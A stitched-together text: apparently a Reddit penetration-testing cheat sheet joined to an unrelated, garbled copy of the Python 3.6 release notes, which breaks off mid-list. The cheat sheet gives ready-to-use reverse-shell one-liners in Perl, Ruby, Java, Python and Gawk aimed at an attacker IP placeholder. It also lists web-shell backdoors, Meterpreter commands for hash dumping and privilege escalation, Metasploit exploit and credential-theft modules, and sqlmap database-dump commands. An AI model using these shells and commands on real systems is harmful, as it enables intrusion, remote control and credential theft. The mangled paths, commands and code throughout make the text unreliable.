Remember to listen on 443 on the attacking machine also.

Perl Reverse Shell

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl Windows Reverse Shell

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby Reverse Shell

ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java Reverse Shell

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()

Python Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Gawk Reverse Shell

!/usbin/gawk -f

BEGIN { Port = 8080 Prompt = "bkd> "
 Service = "/inet/tcp/" Port "/0/0" while (1) { do { printf Prompt |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) } 
}

Kali Web Shells

The following shells exist within Kali Linux, under /#usshare/webshells/ these are only useful if you are #able to upload, inject or transfer the shell to the #machine.

Kali PHP Web Shells

/usshare/webshells/php/php-reverse-shell.php - Pen Test Monkey - PHP Reverse Shell
/usshare/webshells/php/php-findsock-shell.php
/usshare/webshells/php/findsock.c - Pen Test Monkey, Findsock Shell. Build gcc -o findsock findsock.c (be mindfull of the target servers architecture), execute with netcat not a browser nc -v target 80
/usshare/webshells/php/simple-backdoor.php - PHP backdoor, usefull for CMD execution if upload / code injection is possible, usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
/usshare/webshells/php/php-backdoor.php - Larger PHP shell, with a text input box for command execution.

Tip: Executing Reverse Shells

The last two shells above are not reverse shells, #however they can be useful for executing a reverse #shell.

Kali Perl Reverse Shell

/usshare/webshells/perl/perl-reverse-shell.pl - Pen Test Monkey - Perl Reverse Shell
/usshare/webshells/perl/perlcmd.cgi - Pen Test Monkey, Perl Shell. Usage: http://target.com/perlcmd.cgi?cat /etc/passwd

Kali Cold Fusion Shell

/usshare/webshells/cfm/cfexec.cfm - Cold Fusion Shell - aka CFM Shell

Kali ASP Shell

/usshare/webshells/asp/ - Kali ASP Shells

Kali ASPX Shells

/usshare/webshells/aspx/ - Kali ASPX Shells

Kali JSP Reverse Shell

/usshare/webshells/jsp/jsp-reverse.jsp - Kali JSP Reverse Shell

TTY Shells

Tips / Tricks to spawn a TTY shell from a limited shell #in Linux, useful for running commands like su from #reverse shells.

Python TTY Shell Trick - python -c 'import pty;pty.spawn("/bin/bash")' - echo os.system('/bin/bash')
Spawn Interactive sh shell - /bin/sh -i
Spawn Perl TTY Shell - exec "/bin/sh"; perl —e 'exec "/bin/sh";'
Spawn Ruby TTY Shell - exec "/bin/sh"
Spawn Lua TTY Shell - os.execute('/bin/sh')

Spawn TTY Shell from Vi

Run shell commands from vi: - :!bash
Spawn TTY Shell NMAP - !sh

SSH Port Forwarding

ssh -L 9999:10.0.2.2:445 [email protected] - Port 9999 locally is forwarded to port 445 on 10.0.2.2 through host 192.168.2.250

SSH Port Forwarding with Proxychains

ssh -D 127.0.0.1:9050 [email protected] - Dynamically allows all port forwards to the subnets availble on the target.

Meterpreter Payloads

Windows reverse meterpreter payload

set payload windows/meterpretereverse_tcp - Windows reverse tcp payload

Windows VNC Meterpreter payload

set payload windows/vncinject/reverse_tcp set ViewOnly false - Meterpreter Windows VNC Payload

Linux Reverse Meterpreter payload

set payload linux/meterpretereverse_tcp - Meterpreter Linux Reverse Payload

Meterpreter Cheat Sheet

Useful meterpreter commands.

upload file - c:\windows
Meterpreter upload file to Windows target - download c:\windows\repair\sam /tmp
Meterpreter download file from Windows target - download c:\windows\repair\sam /tmp
Meterpreter download file from Windows target - execute -f c:\windows\temp\exploit.exe
Meterpreter run .exe on target - handy for executing uploaded exploits
execute -f cmd -c - Creates new channel with cmd shell
ps - Meterpreter show processes
shell - Meterpreter get shell on the target
getsystem - Meterpreter attempts priviledge escalation the target
hashdump - Meterpreter attempts to dump the hashes on the target
portfwd add –l 3389 –p 3389 –r target - Meterpreter create port forward to target machine
portfwd delete –l 3389 –p 3389 –r target - Meterpreter delete port forward

Common Metasploit Modules

Top metasploit modules.

Remote Windows Metasploit Modules (exploits)

use exploit/windows/smb/ms08_067_netapi - MS08_067 Windows 2k, XP, 2003 Remote Exploit
use exploit/windows/dcerpc/ms06_040_netapi - MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index - MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit

Local Windows Metasploit Modules (exploits)

use exploit/windows/local/bypassuac - Bypass UAC on Windows 7 + Set target + arch, x86/64

Auxilary Metasploit Modules

use auxiliary/scannehttp/dir_scanner - Metasploit HTTP directory scanner
use auxiliary/scannehttp/jboss_vulnscan - Metasploit JBOSS vulnerability scanner
use auxiliary/scannemssql/mssql_login - Metasploit MSSQL Credential Scanner
use auxiliary/scannemysql/mysql_version - Metasploit MSSQL Version Scanner
use auxiliary/scanneoracle/oracle_login - Metasploit Oracle Login Module

Metasploit Powershell Modules

use exploit/multi/script/web_delivery - Metasploit powershell payload delivery module
post/windows/manage/powershell/exec_powershell - Metasploit upload and run powershell script through a session
use exploit/multi/http/jboss_maindeployer - Metasploit JBOSS deploy
use exploit/windows/mssql/mssql_payload - Metasploit MSSQL payload

Post Exploit Windows Metasploit Modules

run post/windows/gathewin_privs - Metasploit show privileges of current user
use post/windows/gathecredentials/gpp - Metasploit grab GPP saved passwords
load mimikatz -> wdigest - Metasplit load Mimikatz
run post/windows/gathelocal_admin_search_enum - Idenitfy other machines that the supplied domain user has administrative access to

CISCO IOS Commands

A collection of useful Cisco IOS commands.

enable - Enters enable mode
conf t - Short for, configure terminal
(config)# interface fa0/0 - Configure FastEthernet 0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255 - Add ip to fa0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255 - Add ip to fa0/0
(config-if)# line vty 0 4 - Configure vty line
(config-line)# login - Cisco set telnet password
(config-line)# password YOUR-PASSWORD - Set telnet password

show running-config - Show running config loaded in memory

show startup-config - Show sartup config

show version - show cisco IOS version

show session - display open sessions

show ip interface - Show network interfaces

show interface e0 - Show detailed interface info

show ip route - Show routes

show access-lists - Show access lists

dir file systems - Show available files

dir all-filesystems - File information

dir /all - SHow deleted files

terminal length 0 - No limit on terminal output

copy running-config tftp - Copys running config to tftp server

copy running-config startup-config - Copy startup-config to running-config

Cryptography

Hash Lengths

MD5 Hash Length - 16 Bytes
SHA-1 Hash Length - 20 Bytes
SHA-256 Hash Length - 32 Bytes
SHA-512 Hash Length - 64 Bytes

SQLMap Examples

sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3 - Automated sqlmap scan
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/vawww/blah.php" - Targeted sqlmap scan
sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump - Scan url for union + error based injection with mysql backend and use a random user agent + database dump
sqlmap -o -u "http://meh.com/form/" --forms - sqlmap check form for injection
sqlmap -o -u "http://meh/vuln-form" --forms -D database-name -T users --dump - sqlmap dump and crack hashes for table users on database-name
submitted by LubuntuFU to Kalilinux [link] [comments]

3.6 Release of Python (Part 1)

Caution:

This is a long doc covering every changes in python 3.6.If you do not know anything about the commands do not read this!

Manuel and other things of Python 3.6

Python 3.6

What’s New In Python 3.6

Editors: Elvis Pranskevichus [email protected], Yury Selivanov [email protected] This article explains the new features in Python 3.6, compared to 3.5. Python 3.6 was released on December 23, 2016.

Summary – Release highlights

New syntax features:
New library modules:
CPython implementation improvements:
Significant improvements in the standard library:
Security improvements:
*On Linux, os.urandom() now blocks until the system urandom entropy pool is initialized to increase the security. See the PEP 524 for the rationale.
Windows improvements:

New Features

PEP 498: Formatted string literals

PEP 498 introduces a new kind of string literals: f-strings, or formatted string literals. Formatted string literals are prefixed with 'f' and are similar to the format strings accepted by str.format(). They contain replacement fields surrounded by curly braces. The replacement fields are expressions, which are evaluated at run time, and then formatted using the format() protocol:
name = "Fred">>> f"He said his name is {name}."'He said his name is Fred.'>>>
width = 10>>> precision = 4>>> value = decimal.Decimal("12.34567")>>> f"result:
{value:{width}.{precision}}" # nested fields'result: 12.35'

PEP 526: Syntax for variable annotations

PEP 484 introduced the standard for type annotations of function parameters, a.k.a. type hints. This PEP adds syntax to Python for annotating the types of variables including class variables and instance variables:
primes: List[int] = []
captain: str # Note: no initial value!
class Starship:
stats: Dict[str, int] = {} 
Just as for function annotations, the Python interpreter does not attach any particular meaning to variable annotations and only stores them in the annotations attribute of a class or module. In contrast to variable declarations in statically typed languages, the goal of annotation syntax is to provide an easy way to specify structured type metadata for third party tools and libraries via the abstract syntax tree and the annotations attribute.
Tools that use or will use the new syntax: mypy, pytype, PyCharm, etc.

PEP 515: Underscores in Numeric Literals

PEP 515 adds the ability to use underscores in numeric literals for improved readability. For example:
1_000_000_000_000_0001000000000000000>>>
0x_FF_FF_FF_FF4294967295
Single underscores are allowed between digits and after any base specifier. Leading, trailing, or multiple underscores in a row are not allowed.
The string formatting language also now has support for the '_' option to signal the use of an underscore for a thousands separator for floating point presentation types and for integer presentation type 'd'. For integer presentation types 'b', 'o', 'x', and 'X', underscores will be inserted every 4 digits:
'{:_}'.format(1000000)'1_000_000'>>> '{:_x}'.format(0xFFFFFFFF)'ffff_ffff'

PEP 525: Asynchronous Generators

PEP 492 introduced support for native coroutines and async / await syntax to Python 3.5. A notable limitation of the Python 3.5 implementation is that it was not possible to use await and yield in the same function body. In Python 3.6 this restriction has been lifted, making it possible to define asynchronous generators:
async def ticker(delay, to):
"""Yield numbers from 0 to *to* every *delay* seconds.""" for i in range(to): yield i await asyncio.sleep(delay) 
The new syntax allows for faster and more concise code.

PEP 530: Asynchronous Comprehensions

PEP 530 adds support for using async for in list, set, dict comprehensions and generator expressions:
result = [i async for i in aiter() if i % 2]
Additionally, await expressions are supported in all kinds of comprehensions:
result = [await fun() for fun in funcs if await condition()]

PEP 487: Simpler customization of class creation

It is now possible to customize subclass creation without using a metaclass. The new init_subclass classmethod will be called on the base class whenever a new subclass is created:
class PluginBase:
subclasses = [] def __init_subclass__(cls, **kwargs): super().__init_subclass__(**kwargs) cls.subclasses.append(cls) 
class Plugin1(PluginBase):
pass 
class Plugin2(PluginBase):
pass 
In order to allow zero-argument super() calls to work correctly from init_subclass() implementations, custom metaclasses must ensure that the new classcell namespace entry is propagated to type.new (as described in Creating the class object).

PEP 487: Descriptor Protocol Enhancements

PEP 487 extends the descriptor protocol to include the new optional set_name() method. Whenever a new class is defined, the new method will be called on all descriptors included in the definition, providing them with a reference to the class being defined and the name given to the descriptor within the class namespace. In other words, instances of descriptors can now know the attribute name of the descriptor in the owner class:
class IntField:
def __get__(self, instance, owner): return instance.__dict__[self.name] def __set__(self, instance, value): if not isinstance(value, int): raise ValueError(f'expecting integer in {self.name}') instance.__dict__[self.name] = value # this is the new initializer: def __set_name__(self, owner, name): self.name = name 
class Model:
int_field = IntField() 

PEP 519: Adding a file system path protocol

File system paths have historically been represented as str or bytes objects. This has led to people who write code which operate on file system paths to assume that such objects are only one of those two types (an int representing a file descriptor does not count as that is not a file path). Unfortunately that assumption prevents alternative object representations of file system paths like pathlib from working with pre-existing code, including Python’s standard library. To fix this situation, a new interface represented by os.PathLike has been defined. By implementing the fspath() method, an object signals that it represents a path. An object can then provide a low-level representation of a file system path as a str or bytes object. This means an object is considered path-like if it implements os.PathLike or is a str or bytes object which represents a file system path. Code can use os.fspath(), os.fsdecode(), or os.fsencode() to explicitly get a str and/or bytes representation of a path-like object. The built-in open() function has been updated to accept os.PathLike objects, as have all relevant functions in the os and os.path modules, and most other functions and classes in the standard library. The os.DirEntry class and relevant classes in pathlib have also been updated to implement os.PathLike. The hope is that updating the fundamental functions for operating on file system paths will lead to third-party code to implicitly support all path-like objects without any code changes, or at least very minimal ones (e.g. calling os.fspath() at the beginning of code before operating on a path-like object). Here are some examples of how the new interface allows for pathlib.Path to be used more easily and transparently with pre-existing code:
import pathlib>>> with open(pathlib.Path("README")) as f:... contents
= f.read()...>>> import os.path>>>
os.path.splitext(pathlib.Path("some_file.txt"))('some_file', '.txt')>>>
os.path.join("/a/b", pathlib.Path("c"))'/a/b/c'>>> import os>>>
os.fspath(pathlib.Path("some_file.txt"))'some_file.txt'

PEP 495: Local Time Disambiguation

In most world locations, there have been and will be times when local clocks are moved back. In those times, intervals are introduced in which local clocks show the same time twice in the same day. In these situations, the information displayed on a local clock (or stored in a Python datetime instance) is insufficient to identify a particular moment in time. PEP 495 adds the new fold attribute to instances of datetime.datetime and datetime.time classes to differentiate between two moments in time for which local times are the same:
u0 = datetime(2016, 11, 6, 4, tzinfo=timezone.utc)>>> for i in range(4):...
u = u0 + i*HOUR... t = u.astimezone(Eastern)... print(u.time(), 'UTC =',
t.time(), t.tzname(), t.fold)...04:00:00 UTC = 00:00:00 EDT 005:00:00 UTC = 01:00:00
EDT 006:00:00 UTC = 01:00:00 EST 107:00:00 UTC = 02:00:00 EST 0
The values of the fold attribute have the value 0 for all instances except those that represent the second (chronologically) moment in time in an ambiguous case.

PEP 529: Change Windows filesystem encoding to UTF-8

Representing filesystem paths is best performed with str (Unicode) rather than bytes. However, there are some situations where using bytes is sufficient and correct. Prior to Python 3.6, data loss could result when using bytes paths on Windows. With this change, using bytes to represent paths is now supported on Windows, provided those bytes are encoded with the encoding returned by sys.getfilesystemencoding(), which now defaults to 'utf-8'. Applications that do not use str to represent paths should use os.fsencode() and os.fsdecode() to ensure their bytes are correctly encoded. To revert to the previous behaviour, set PYTHONLEGACYWINDOWSFSENCODING or call sys._enablelegacywindowsfsencoding().

PEP 528: Change Windows console encoding to UTF-8

The default console on Windows will now accept all Unicode characters and provide correctly read str objects to Python code. sys.stdin, sys.stdout and sys.stderr now default to utf-8 encoding. This change only applies when using an interactive console, and not when redirecting files or pipes. To revert to the previous behaviour for interactive console use, set PYTHONLEGACYWINDOWSSTDIO.

PEP 520: Preserving Class Attribute Definition Order

Attributes in a class definition body have a natural ordering: the same order in which the names appear in the source. This order is now preserved in the new class’s dict attribute. Also, the effective default class execution namespace (returned from type.prepare()) is now an insertion-order-preserving mapping.

PEP 468: Preserving Keyword Argument Order

**kwargs in a function signature is now guaranteed to be an insertion-order-preserving mapping.

New dict implementation

The dict type now uses a “compact” representation based on a proposal by Raymond Hettinger which was first implemented by PyPy. The memory usage of the new dict() is between 20% and 25% smaller compared to Python 3.5. The order-preserving aspect of this new implementation is considered an implementation detail and should not be relied upon (this may change in the future, but it is desired to have this new dict implementation in the language for a few releases before changing the language spec to mandate order-preserving semantics for all current and future Python implementations; this also helps preserve backwards-compatibility with older versions of the language where random iteration order is still in effect, e.g. Python 3.5). (Contributed by INADA Naoki in bpo-27350. Idea originally suggested by Raymond Hettinger.) PEP 523: Adding a frame evaluation API to CPython While Python provides extensive support to customize how code executes, one place it has not done so is in the evaluation of frame objects. If you wanted some way to intercept frame evaluation in Python there really wasn’t any way without directly manipulating function pointers for defined functions. PEP 523 changes this by providing an API to make frame evaluation pluggable at the C level. This will allow for tools such as debuggers and JITs to intercept frame evaluation before the execution of Python code begins. This enables the use of alternative evaluation implementations for Python code, tracking frame evaluation, etc. This API is not part of the limited C API and is marked as private to signal that usage of this API is expected to be limited and only applicable to very select, low-level use-cases. Semantics of the API will change with Python as necessary.

PYTHONMALLOC environment variable

The new PYTHONMALLOC environment variable allows setting the Python memory allocators and installing debug hooks. It is now possible to install debug hooks on Python memory allocators on Python compiled in release mode using PYTHONMALLOC=debug. Effects of debug hooks: Newly allocated memory is filled with the byte 0xCB Freed memory is filled with the byte 0xDB Detect violations of the Python memory allocator API. For example, PyObject_Free() called on a memory block allocated by PyMem_Malloc(). Detect writes before the start of a buffer (buffer underflows) Detect writes after the end of a buffer (buffer overflows) Check that the GIL is held when allocator functions of PYMEM_DOMAIN_OBJ (ex: PyObject_Malloc()) and PYMEM_DOMAIN_MEM (ex: PyMem_Malloc()) domains are called. Checking if the GIL is held is also a new feature of Python 3.6. See the PyMem_SetupDebugHooks() function for debug hooks on Python memory allocators. It is now also possible to force the usage of the malloc() allocator of the C library for all Python memory allocations using PYTHONMALLOC=malloc. This is helpful when using external memory debuggers like Valgrind on a Python compiled in release mode. On error, the debug hooks on Python memory allocators now use the tracemalloc module to get the traceback where a memory block was allocated. Example of fatal error on buffer overflow using python3.6 -X tracemalloc=5 (store 5 frames in traces):
Debug memory block at address p=0x7fbcd41666f8: API 'o'
4 bytes originally requested The 7 pad bytes at p-7 are FORBIDDENBYTE, as expected. The 8 pad bytes at tail=0x7fbcd41666fc are not all FORBIDDENBYTE (0xfb): at tail+0: 0x02 *** OUCH at tail+1: 0xfb at tail+2: 0xfb at tail+3: 0xfb at tail+4: 0xfb at tail+5: 0xfb at tail+6: 0xfb at tail+7: 0xfb The block was made by call #1233329 to debug malloc/realloc. Data at p: 1a 2b 30 00 
Memory block allocated at (most recent call first):
File "test/test_bytes.py", line 323
File "unittest/case.py", line 600
File "unittest/case.py", line 648
File "unittest/suite.py", line 122
File "unittest/suite.py", line 84
Fatal Python error: bad trailing pad byte
Current thread 0x00007fbcdbd32700 (most recent call first):
File "test/test_bytes.py", line 323 in test_hex
File "unittest/case.py", line 600 in run
File "unittest/case.py", line 648 in call
File "unittest/suite.py", line 122 in run
File "unittest/suite.py", line 84 in call
File "unittest/suite.py", line 122 in run
File "unittest/suite.py", line 84 in call
...
(Contributed by Victor Stinner in bpo-26516 and bpo-26564.)

DTrace and SystemTap probing support

Python can now be built --with-dtrace which enables static markers for the following events in the interpreter: * function call/return * garbage collection started/finished * Line of code executed.
This can be used to instrument running interpreters in production, without the need to recompile specific debug builds or providing application-specific profiling/debugging code. More details in Instrumenting CPython with DTrace and SystemTap.
The current implementation is tested on Linux and macOS. Additional markers may be added in the future.
(Contributed by Łukasz Langa in bpo-21590, based on patches by Jesús Cea Avión, David Malcolm, and Nikhil Benesch.)

Other Language Changes

Some smaller changes made to the core Python language are: A global or nonlocal statement must now textually appear before the first use of the affected name in the same scope. Previously this was a SyntaxWarning.
It is now possible to set a special method to None to indicate that the corresponding operation is not available. For example, if a class sets iter() to None, the class is not iterable. (Contributed by Andrew Barnert and Ivan Levkivskyi in bpo-25958.)
Long sequences of repeated traceback lines are now abbreviated as "[Previous line repeated {count} more times]" (see traceback for an example). (Contributed by Emanuel Barry in bpo-26823.)
Import now raises the new exception ModuleNotFoundError (subclass of ImportError) when it cannot find a module. Code that currently checks for ImportError (in try-except) will still work. (Contributed by Eric Snow in bpo-15767.)
Class methods relying on zero-argument super() will now work correctly when called from metaclass methods during class creation. (Contributed by Martin Teichmann in bpo-23722.)

New Modules

secrets

The main purpose of the new secrets module is to provide an obvious way to reliably generate cryptographically strong pseudo-random values suitable for managing secrets, such as account authentication, tokens, and similar. Warning Note that the pseudo-random generators in the random module should NOT be used for security purposes. Use secrets on Python 3.6+ and os.urandom() on Python 3.5 and earlier.

Improved Modules

array

Exhausted iterators of array.array will now stay exhausted even if the iterated array is extended. This is consistent with the behavior of other mutable sequences. Contributed by Serhiy Storchaka in bpo-26492.

ast

The new ast.Constant AST node has been added. It can be used by external AST optimizers for the purposes of constant folding. Contributed by Victor Stinner in bpo-26146.

asyncio

Starting with Python 3.6 the asyncio module is no longer provisional and its API is considered stable. Notable changes in the asyncio module since Python 3.5.0 (all backported to 3.5.x due to the provisional status): * The get_event_loop() function has been changed to always return the currently running loop when called from couroutines and callbacks. (Contributed by Yury Selivanov in bpo-28613.) * The ensure_future() function and all functions that use it, such as loop.run_until_complete(), now accept all kinds of awaitable objects. (Contributed by Yury Selivanov.) * New run_coroutine_threadsafe() function to submit coroutines to event loops from other threads. (Contributed by Vincent Michel.) * New Transport.is_closing() method to check if the transport is closing or closed. (Contributed by Yury Selivanov.) * The loop.create_server() method can now accept a list of hosts. (Contributed by Yann Sionneau.) * New loop.create_future() method to create Future objects. This allows alternative event loop implementations, such as uvloop, to provide a faster asyncio.Future implementation. (Contributed by Yury Selivanov in bpo-27041.) * New loop.get_exception_handler() method to get the current exception handler. (Contributed by Yury Selivanov in bpo-27040.) * New StreamReader.readuntil() method to read data from the stream until a separator bytes sequence appears. (Contributed by Mark Korenberg.) * The performance of StreamReader.readexactly() has been improved. (Contributed by Mark Korenberg in bpo-28370.) * The loop.getaddrinfo() method is optimized to avoid calling the system getaddrinfo function if the address is already resolved. (Contributed by A. Jesse Jiryu Davis.) * The loop.stop() method has been changed to stop the loop immediately after the current iteration. Any new callbacks scheduled as a result of the last iteration will be discarded. (Contributed by Guido van Rossum in bpo-25593.) * Future.set_exception will now raise TypeError when passed an instance of the StopIteration exception. (Contributed by Chris Angelico in bpo-26221.) * New loop.connect_accepted_socket() method to be used by servers that accept connections outside of asyncio, but that use asyncio to handle them. (Contributed by Jim Fulton in bpo-27392.) TCP_NODELAY flag is now set for all TCP transports by default. (Contributed by Yury Selivanov in bpo-27456.) * New loop.shutdown_asyncgens() to properly close pending asynchronous generators before closing the loop. (Contributed by Yury Selivanov in bpo-28003.) * Future and Task classes now have an optimized C implementation which makes asyncio code up to 30% faster. (Contributed by Yury Selivanov and INADA Naoki in bpo-26081 and bpo-28544.)

binascii

The b2a_base64() function now accepts an optional newline keyword argument to control whether the newline character is appended to the return value. (Contributed by Victor Stinner in bpo-25357.)

cmath

The new cmath.tau (τ) constant has been added. (Contributed by Lisa Roach in bpo-12345, see PEP 628 for details.)
New constants: cmath.inf and cmath.nan to match math.inf and math.nan, and also cmath.infj and cmath.nanj to match the format used by complex repr. (Contributed by Mark Dickinson in bpo-23229.)

collections

The new Collection abstract base class has been added to represent sized iterable container classes. (Contributed by Ivan Levkivskyi, docs by Neil Girdhar in bpo-27598.)
The new Reversible abstract base class represents iterable classes that also provide the reversed() method. (Contributed by Ivan Levkivskyi in bpo-25987.)
The new AsyncGenerator abstract base class represents asynchronous generators. (Contributed by Yury Selivanov in bpo-28720.)
The namedtuple() function now accepts an optional keyword argument module, which, when specified, is used for the module attribute of the returned named tuple class. (Contributed by Raymond Hettinger in bpo-17941.)
The verbose and rename arguments for namedtuple() are now keyword-only. (Contributed by Raymond Hettinger in bpo-25628.)
Recursive collections.deque instances can now be pickled. (Contributed by Serhiy Storchaka in bpo-26482.)

concurrent.futures

The ThreadPoolExecutor class constructor now accepts an optional thread_name_prefix argument to make it possible to customize the names of the threads created by the pool. (Contributed by Gregory P. Smith in bpo-27664.)

contextlib

The contextlib.AbstractContextManager class has been added to provide an abstract base class for context managers. It provides a sensible default implementation for enter() which returns self and leaves exit() an abstract method. A matching class has been added to the typing module as typing.ContextManager. (Contributed by Brett Cannon in bpo-25609.)

datetime

The datetime and time classes have the new fold attribute used to disambiguate local time when necessary. Many functions in the datetime have been updated to support local time disambiguation. See Local Time Disambiguation section for more information. (Contributed by Alexander Belopolsky in bpo-24773.)
The datetime.strftime() and date.strftime() methods now support ISO 8601 date directives %G, %u and %V. (Contributed by Ashley Anderson in bpo-12006.)
The datetime.isoformat() function now accepts an optional timespec argument that specifies the number of additional components of the time value to include. (Contributed by Alessandro Cucci and Alexander Belopolsky in bpo-19475.)
The datetime.combine() now accepts an optional tzinfo argument. (Contributed by Alexander Belopolsky in bpo-27661.) decimal
New Decimal.as_integer_ratio() method that returns a pair (n, d) of integers that represent the given Decimal instance as a fraction, in lowest terms and with a positive denominator:
Decimal('-3.14').as_integer_ratio()(-157, 50)
(Contributed by Stefan Krah amd Mark Dickinson in bpo-25928.)

distutils

The default_format attribute has been removed from distutils.command.sdist.sdist and the formats attribute defaults to ['gztar']. Although not anticipated, any code relying on the presence of default_format may need to be adapted. See bpo-27819 for more details.
The upload command now longer tries to change CR end-of-line characters to CRLF. This fixes a corruption issue with sdists that ended with a byte equivalent to CR. (Contributed by Bo Bayles in bpo-32304.)

email

The new email API, enabled via the policy keyword to various constructors, is no longer provisional. The email documentation has been reorganized and rewritten to focus on the new API, while retaining the old documentation for the legacy API. (Contributed by R. David Murray in bpo-24277.) The email.mime classes now all accept an optional policy keyword. (Contributed by Berker Peksag in bpo-27331.)
The DecodedGenerator now supports the policy keyword.
There is a new policy attribute, message_factory, that controls what class is used by default when the parser creates new message objects. For the email.policy.compat32 policy this is Message, for the new policies it is EmailMessage. (Contributed by R. David Murray in bpo-20476.)

encodings

On Windows, added the 'oem' encoding to use CP_OEMCP, and the 'ansi' alias for the existing 'mbcs' encoding, which uses the CP_ACP code page. (Contributed by Steve Dower in bpo-27959.)

enum

Two new enumeration base classes have been added to the enum module: Flag and IntFlags. Both are used to define constants that can be combined using the bitwise operators. (Contributed by Ethan Furman in bpo-23591.)
Many standard library modules have been updated to use the IntFlags class for their constants. The new enum.auto value can be used to assign values to enum members automatically:
from enum import Enum, auto>>> class Color(Enum):... red = auto()...
blue = auto()... green = auto()...>>> list(Color)[, , ] faulthandler
On Windows, the faulthandler module now installs a handler for Windows exceptions: see faulthandler.enable(). (Contributed by Victor Stinner in bpo-23848.)

fileinput

hook_encoded() now supports the errors argument. (Contributed by Joseph Hackman in bpo-25788.)

hashlib

hashlib supports OpenSSL 1.1.0. The minimum recommend version is 1.0.2. (Contributed by Christian Heimes in bpo-26470.)
BLAKE2 hash functions were added to the module. blake2b() and blake2s() are always available and support the full feature set of BLAKE2. (Contributed by Christian Heimes in bpo-26798 based on code by Dmitry Chestnykh and Samuel Neves. Documentation written by Dmitry Chestnykh.)
The SHA-3 hash functions sha3_224(), sha3_256(), sha3_384(), sha3_512(), and SHAKE hash functions shake_128() and shake_256() were added. (Contributed by Christian Heimes in bpo-16113. Keccak Code Package by Guido Bertoni, Joan Daemen, Michaël Peeters, Gilles Van Assche, and Ronny Van Keer.)
The password-based key derivation function scrypt() is now available with OpenSSL 1.1.0 and newer. (Contributed by Christian Heimes in bpo-27928.)

http.client

HTTPConnection.request() and endheaders() both now support chunked encoding request bodies. (Contributed by Demian Brecht and Rolf Krahl in bpo-12319.)

idlelib and IDLE

The idlelib package is being modernized and refactored to make IDLE look and work better and to make the code easier to understand, test, and improve. Part of making IDLE look better, especially on Linux and Mac, is using ttk widgets, mostly in the dialogs. As a result, IDLE no longer runs with tcl/tk 8.4. It now requires tcl/tk 8.5 or 8.6. We recommend running the latest release of either.
‘Modernizing’ includes renaming and consolidation of idlelib modules. The renaming of files with partial uppercase names is similar to the renaming of, for instance, Tkinter and TkFont to tkinter and tkinter.font in 3.0. As a result, imports of idlelib files that worked in 3.5 will usually not work in 3.6. At least a module name change will be needed (see idlelib/README.txt), sometimes more. (Name changes contributed by Al Swiegart and Terry Reedy in bpo-24225. Most idlelib patches since have been and will be part of the process.)
In compensation, the eventual result with be that some idlelib classes will be easier to use, with better APIs and docstrings explaining them. Additional useful information will be added to idlelib when available.

importlib

Import now raises the new exception ModuleNotFoundError (subclass of ImportError) when it cannot find a module. Code that current checks for ImportError (in try-except) will still work. (Contributed by Eric Snow in bpo-15767.)
importlib.util.LazyLoader now calls create_module() on the wrapped loader, removing the restriction that importlib.machinery.BuiltinImporter and importlib.machinery.ExtensionFileLoader couldn’t be used with importlib.util.LazyLoader. importlib.util.cache_from_source(), importlib.util.source_from_cache(), and importlib.util.spec_from_file_location() now accept a path-like object.

inspect

The inspect.signature() function now reports the implicit .0 parameters generated by the compiler for comprehension and generator expression scopes as if they were positional-only parameters called implicit0. (Contributed by Jelle Zijlstra in bpo-19611.)
To reduce code churn when upgrading from Python 2.7 and the legacy inspect.getargspec() API, the previously documented deprecation of inspect.getfullargspec() has been reversed. While this function is convenient for single/source Python 2/3 code bases, the richer inspect.signature() interface remains the recommended approach for new code. (Contributed by Nick Coghlan in bpo-27172)

json

json.load() and json.loads() now support binary input. Encoded JSON should be represented using either UTF-8, UTF-16, or UTF-32. (Contributed by Serhiy Storchaka in bpo-17909.) logging
The new WatchedFileHandler.reopenIfNeeded() method has been added to add the ability to check if the log file needs to be reopened. (Contributed by Marian Horban in bpo-24884.)

math

The tau (τ) constant has been added to the math and cmath modules. (Contributed by Lisa Roach in bpo-12345, see PEP 628 for details.)

multiprocessing

Proxy Objects returned by multiprocessing.Manager() can now be nested. (Contributed by Davin Potts in bpo-6766.)

os

See the summary of PEP 519 for details on how the os and os.path modules now support path-like objects.
scandir() now supports bytes paths on Windows.
A new close() method allows explicitly closing a scandir() iterator. The scandir() iterator now supports the context manager protocol. If a scandir() iterator is neither exhausted nor explicitly closed a ResourceWarning will be emitted in its destructor. (Contributed by Serhiy Storchaka in bpo-25994.) On Linux, os.urandom() now blocks until the system urandom entropy pool is initialized to increase the security. See the PEP 524 for the rationale.
The Linux getrandom() syscall (get random bytes) is now exposed as the new os.getrandom() function. (Contributed by Victor Stinner, part of the PEP 524)

pathlib

